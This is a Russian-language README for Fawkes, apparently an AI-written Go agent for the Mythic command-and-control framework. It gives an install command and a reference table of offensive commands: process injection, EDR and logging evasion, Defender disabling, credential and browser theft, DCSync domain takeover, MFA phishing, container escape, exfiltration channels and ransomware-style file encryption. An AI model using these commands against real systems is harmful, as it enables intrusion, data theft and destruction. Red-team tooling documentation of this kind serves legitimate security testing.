Fawkes — это golang Mythic C2 агент, написанный исключительно ИИ.
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes — это целиком созданный с помощью vibe-кодирования агент Mythic C2. Это началось как «интересно», а превратилось в цель. Моя цель — не написать ни строчки кода для этого агента, а исключительно создавать его с помощью промптов.
Изначально я пытался написать агента сам, но после клонирования примера контейнера, чтения документации Mythic, просмотра видео серии разработчика на YouTube и копирования кода из других агентов, таких как Merlin или Freyja, я решил, что у меня просто нет времени на разработку собственного агента. А вот для промптов время у меня есть.
Fawkes — это агент на Golang с кроссплатформенными возможностями. Он поддерживает **Windows** (EXE, DLL и шеллкод), **Linux** (ELF-бинарники и разделяемые библиотеки) и **macOS** (Mach-O-бинарники для Intel и Apple Silicon). Всего **213 команд**: 113 кроссплатформенных, 82 только для Windows, 21 только для Unix, 11 только для Linux и 6 только для macOS (некоторые команды имеют платформозависимые реализации, объединённые одним пользовательским именем, например screenshot). Поддерживает HTTP-исходящие соединения и TCP-соединения peer-to-peer (P2P) для внутреннего перемещения.
## Установка
Чтобы установить Fawkes, вам потребуется Mythic, установленный на удалённом компьютере. Инструкции по установке Mythic можно найти на [странице проекта Mythic](https://github.com/its-a-feature/Mythic/).
Из каталога установки Mythic:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## Краткий справочник командCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Чтение/изменение DACL объектов Active Directory (добавление/удаление ACE, предоставление DCSync, GenericAll, резервное копирование/восстановление). Кроссплатформенный (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Перебор служб сертификации AD, поиск уязвимых шаблонов (ESC1-ESC4, ESC6 через DCOM), запрос сертификатов через DCOM для эксплуатации ESC1/ESC6 или автоэксплуатация (цепочка find → parse → request). Кроссплатформенный (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Только Windows)** Управление альтернативными потоками данных NTFS — запись, чтение, вывод списка или удаление скрытых потоков данных. Поддерживает текст и шестнадцатеричные двоичные данные. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Запрос и очистка артефактов выполнения для криминалистики. Windows: Shimcache. Linux: recently-used.xbel, эскизы, Tracker. macOS: недавние элементы, KnowledgeC, карантин (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Только Windows)** Внедрение в удаленный процесс. `-method apc` (по умолчанию) ставит шелл-код в очередь через NtQueueApcThread в поток, находящийся в состоянии ожидания (используйте `ts` для поиска такого). `-method hwbp` присоединяется через DebugActiveProcess, устанавливает аппаратную точку останова DR0 на целевом API (по умолчанию `ntdll!NtDelayExecution`) и перенаправляет Rip на шелл-код при срабатывании точки останова — не требует TID, очереди APC или CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Запись звука с микрофона и загрузка WAV-файла. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Кроссплатформенный (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Только Windows)** Запрос и изменение политик аудита Windows. Отключение журналирования событий безопасности перед чувствительными операциями. Режим Stealth отключает подкатегории, критически важные для обнаружения. Использует API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Только Windows)** Выполнение команды с подменой аргументов процесса. Обходит Sysmon Event ID 1 и телеметрию командной строки EDR (T1564.010).
arp | `arp [-ip <subnet>]` or `arp -action spoof -target <IP> -gateway <IP>` | Отображение ARP-таблицы с фильтрацией или отравление ARP-кэша для позиционирования MITM (T1557.002). Spoof: только Linux, восстанавливается при очистке.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Запрос билетов AS-REP для учетных записей без предварительной аутентификации и извлечение хэшей в формате hashcat для офлайн-взлома. Автоматически перечисляет через LDAP. Кроссплатформенный (T1558.004).
av-detect | `av-detect [-deep true]` | Обнаружение установленных продуктов AV/EDR/безопасности путем сканирования запущенных процессов по базе из 130+ сигнатур. С `--deep` также проверяет модули ядра, модули systemd и каталоги конфигурации на предмет установленных, но не запущенных продуктов (Linux). Сообщает о продукте, вендоре, типе и PID. Кроссплатформенный.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Только Windows)** Автоматическое патчинг функции путем перехода к ближайшей инструкции возврата (C3). Полезно для обхода AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Набор инструментов кодирования данных: base64, XOR (с строковым/шестнадцатеричным ключом), hex, ROT13, URL-процентное кодирование, шифр Цезаря. Все поддерживают ввод/вывод файлов. Кроссплатформенный (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Только Windows)** Управление заданиями передачи BITS для персистентности и скрытой загрузки файлов. Создание, приостановка, возобновление, завершение заданий и установка команд уведомления для персистентности. Задания переживают перезагрузки (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Сбор данных браузера из Chromium, Firefox и Safari. История, автозаполнение, закладки, загрузки — кроссплатформенно. Пароли: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (расшифровка NSS key4.db), Safari (связка ключей macOS). Куки Firefox на всех платформах. MITRE T1555.003, T1217.
cat | `cat <file>` или `cat -path <file> -start N -end N -number true` | Отображение содержимого файла с опциональным диапазоном строк, нумерацией и защитой от файлов размером >5MB.
cd | `cd <directory>` | Изменить текущий рабочий каталог.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Изменение разрешений файла/каталога с восьмеричной (755, 644) или символьной (+x, u+rw, go-w) нотацией. Рекурсивная поддержка. Кроссплатформенный (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Только Linux/macOS)** Изменение владельца файла/каталога по имени пользователя/UID и группе/GID. Рекурсивная поддержка (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Проверка TLS-сертификатов на удаленных хостах — определяет центры сертификации, самоподписанные сертификаты, срок действия, SAN, версию TLS, наборы шифров и отпечатки SHA256. Кроссплатформенный (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Только Windows)** Перечисление хранилищ сертификатов Windows для поиска сертификатов подписи кода, аутентификации клиента и закрытых ключей. Поиск в CurrentUser и LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Чтение/запись буфера обмена или непрерывный мониторинг изменений с обнаружением шаблонов учетных данных. Кроссплатформенный (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Облачные метаданные, извлечение учетных данных, перечисление IAM, перечисление хранилищ, персистентность и доступ к хранилищам секретов. storage/aws-s3/azure-blob/gcp-gcs: перечисление корзин/контейнеров с примерами объектов. aws-ssm: Parameter Store SSM с расшифровкой. azure-keyvault: секреты Key Vault через управляемое удостоверение. gcp-secrets: Secret Manager через сервисный аккаунт. aws-persist/azure-persist: создание долгоживущих ключей доступа/регистраций приложений. Автоопределение. IMDSv2. Кроссплатформенный (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Создание, просмотр, извлечение, подготовка или эксфильтрация архивов. Stage шифрует с AES-256-GCM. Exfil передает в Mythic. exfil-https: загрузка по предварительно подписанным URL в S3/Azure/GCS с разбивкой на части, пользовательскими заголовками, джиттером. exfil-github: эксфильтрация через GitHub Contents API. Кроссплатформенный (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Принудительная аутентификация NTLM через MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Заставляет целевой хост аутентифицироваться на слушателе атакующего. Поддержка Pass-the-Hash. Кроссплатформенный (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Просмотр или изменение конфигурации времени выполнения агента или самостоятельное обновление бинарного файла агента. `show`/`set`: сон, джиттер, дата завершения, часы работы. `update`: загрузка новой полезной нагрузки из Mythic, проверка, запуск и завершение текущего агента. Кроссплатформенный (T1105).
container-detect | `container-detect` | Обнаружение среды контейнера и среды выполнения (Docker, K8s, LXC, Podman, WSL). Проверяет векторы побега, такие как Docker-сокеты и сервисные аккаунты K8s. Кроссплатформенный (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Только Linux)** Побег из контейнера + операции с K8s — сокет Docker, cgroup, nsenter, монтирование устройства хоста. K8s: перечисление подов/сервисов, чтение секретов, **k8s-rbac**: проверка ClusterRole/RoleBinding + оценка путей повышения привилегий (крит/предупр/инфо), **k8s-nodes**: поверхность атаки узлов кластера (kubelet/ОС/ядро/CIDR/taints/роли), **k8s-etcd**: обнаружение конечных точек etcd из аргументов pod control-plane + неаутентифицированный зонд `/version` на каждую конечную точку (неаутентифицированное чтение = полная компрометация кластера), развертывание/выполнение подов через API. **Вне кластера**: `-kubeconfig` принимает украденные файлы kubeconfig для доступа к K8s с хостов вне контейнера (аутентификация по токену + сертификату клиента) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Копировать файл из источника в назначение.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Проверка учетных данных на SMB, WinRM и LDAP на целевых хостах. `verify-all` проверяет все учетные данные из хранилища на обнаруженных хостах параллельно. Кроссплатформенный (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Сбор учетных данных: теневые хэши (Unix), облачные конфиги (AWS/GCP/Azure/K8s), секреты приложений, сканирование истории оболочки на утекшие пароли/токены/ключи API, история PowerShell + переменные среды + RDP (Windows), токены M365 OAuth/JWT из TokenBroker/Teams/Outlook (Windows), **browser-live**: кража живых куки, localStorage, sessionStorage через Chrome DevTools Protocol (CDP) из запущенных Chrome/Edge. **dump-all**: автоматизированная цепочка подзадач — запускает hashdump + lsa-secrets + cred-harvest все параллельно (Windows). Кроссплатформенный (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Отображение нативного диалога учетных данных, злоупотребление потоком кода устройства OAuth или фишинг кодов MFA. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: поток кода устройства Azure AD OAuth для захвата токена. mfa-phish: поддельный диалог проверки MFA для захвата кодов TOTP. Кроссплатформенный (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP-запросы + загрузка файлов (эксфильтрация) (T1567). Загрузка на предварительно подписанные URL S3, SAS Azure, универсальные конечные точки. Кроссплатформенный (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Извлечение полей или диапазонов символов из строк файла. Пользовательские разделители, спецификации диапазона. Кроссплатформенный (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Перечисление хранилищ учетных данных платформы. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, пароли WiFi/VPN NetworkManager, учетные записи GNOME Online. macOS: элементы связки ключей (общие пароли + пароли интернета), пароли WiFi. `list`=метаданные, `dump`=с секретами, `vault`=только Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Только Windows)** Управление Defender — статус, исключения, угрозы, включение/отключение защиты в реальном времени. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Только Windows)** Расшифровка BLOB DPAPI (CryptUnprotectData), перечисление главных ключей, извлечение ключа шифрования Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Только Windows)** Доступ к почтовому ящику Outlook через COM. Подсчет сообщений, поиск по ключевым словам, чтение по индексу, список папок. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Только Windows)** Выполнение команд, загрузка файлов или поэтапное выполнение на удаленных хостах через DCOM. `check` проверяет предварительные требования RPC/DCOM. upload: передача файлов через certutil/PowerShell staging. exec-staged: загрузка, затем выполнение с автоочисткой. Шесть COM-объектов. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Обнаружение подключенных отладчиков, инструментов анализа и инструментации. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, регистры DR. Linux: TracerPid, LD_PRELOAD, карты памяти (Frida/Valgrind/sanitizers), VM/песочница, мониторинг eBPF (Falco/Tetragon/Tracee), фреймворк auditd, ptrace scope. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, обнаружение VM (sysctl), продукты безопасности (EDR/AV), песочница/среда анализа. Все: сканирование процессов отладчика (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — репликация учетных данных AD через DRS без обращения к LSASS. `domain-takeover` запускает kerberoast + asrep-roast + dcsync krbtgt/Administrator параллельно. Кроссплатформенный (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Отчет об использовании дискового пространства файловой системы с опциональной фильтрацией по устройству, точке монтирования или типу ФС. Кроссплатформенный (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Сравнение двух файлов и отображение различий в унифицированном формате diff. Алгоритм на основе LCS с настраиваемым количеством строк контекста. Кроссплатформенный (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Перечисление DNS — разрешение хостов, запрос записей, обнаружение DC, передача зоны, обнаружение wildcard, разрешение через DNS-over-HTTPS скрытно, эксфильтрация DNS. Кроссплатформенный (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Отчет об использовании диска для файлов и каталогов. Разбивка размера по подкаталогам, сортировка по наибольшему. Кроссплатформенный (T1083).
drivers | `drivers [-filter <name>]` | Перечисление загруженных драйверов ядра/модулей. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: перечисление kext. Кроссплатформенный (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Перечисление политик паролей/блокировки AD и FGPP через LDAP. Рекомендации для безопасного подбора. Кроссплатформенный (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Только Linux/macOS)** Просмотр, добавление или удаление заданий cron для персистентности. Поддерживает сырые записи cron или синтаксис программа+расписание.
download | `download <path>` or `download {"path": "/file", "compress": true}` | Скачать файл или каталог с целевого хоста. Файлы >1MB автоматически сжимаются gzip (настраиваемо). Каталоги автоматически архивируются в zip. Проверка SHA256. Передача частями, интеграция с файловым браузером.
drives | `drives` | Список доступных дисков/томов и смонтированных файловых систем с типом, меткой/устройством и свободным/общим пространством.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Только Windows)** Перечисление токенов доступа во всех процессах. `list` показывает PID/пользователь/уровень целостности/сессию для каждого процесса. `unique` группирует по пользователю с количеством процессов. Автоматически включает привилегию SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Шифрование/расшифровка AES-256-GCM (T1486) + целевое повреждение файлов (T1565). corrupt: перезапись заголовков файлов случайными данными. Для разрушительных операций требуется подтверждение безопасности.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Список, получение, установка или удаление переменных среды для процесса агента. Изменения наследуются дочерними процессами. Кроссплатформенный.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Сканирование переменных среды процесса на утекшие учетные данные, ключи API и секреты. 35+ шаблонов обнаружения для облачных, СУБД, CI/CD и криптовалютных категорий. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Манипуляция подсистемами аудита/телеметрии. Windows: сессии/провайдеры ETW stop/blind/blind-all/enable/patch/restore. Linux: правила auditd, очистка/ротация journald, конфиг syslog, обнаружение SIEM-агентов. macOS: унифицированное журналирование, обнаружение агентов безопасности. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Управление системными журналами событий. Windows: каналы wevtapi.dll. Linux: модули journald и файлы syslog. macOS: унифицированное журналирование (os_log) подсистем/процессов. Список источников, запрос событий, очистка/вакуумирование журналов, получение информации. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Выполнение нативного бинарного файла из памяти. Linux: memfd_create (без записи на диск). macOS: временный файл с произвольной подписью ad-hoc. Windows: временный файл с немедленной очисткой. Все платформы удаляют артефакты после выполнения. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Выполнение шелл-кода в текущем процессе. Поддерживает шелл-код, закодированный XOR/AES-256-CTR, с декодированием во время выполнения (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (по умолчанию) или memfd_create. macOS: MAP_JIT (ARM64) или mmap. Кроссплатформенный (T1059.006, T1620).
exit | `exit` | Завершить задачу агента.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Получение или установка атрибутов файла — скрытый, только для чтения, системный (Windows); неизменяемый, добавление, nodump (Linux); скрытый, неизменяемый (macOS). Опустите -attrs для просмотра текущих флагов. Кроссплатформенный (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Определение типа файла по магическим байтам (35+ сигнатур). Одиночный файл или сканирование каталога. Обнаруживает исполняемые файлы, архивы, документы, изображения, базы данных, медиа и многое другое. Кроссплатформенный (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Поиск файлов по имени, размеру, дате, разрешениям или владельцу. Поиск SUID-бинарников, файлов с правами на запись для всех, файлов, принадлежащих конкретным пользователям. Кроссплатформенный (T1083).
```
---
[Read more](https://github.com/galoryber/fawkes)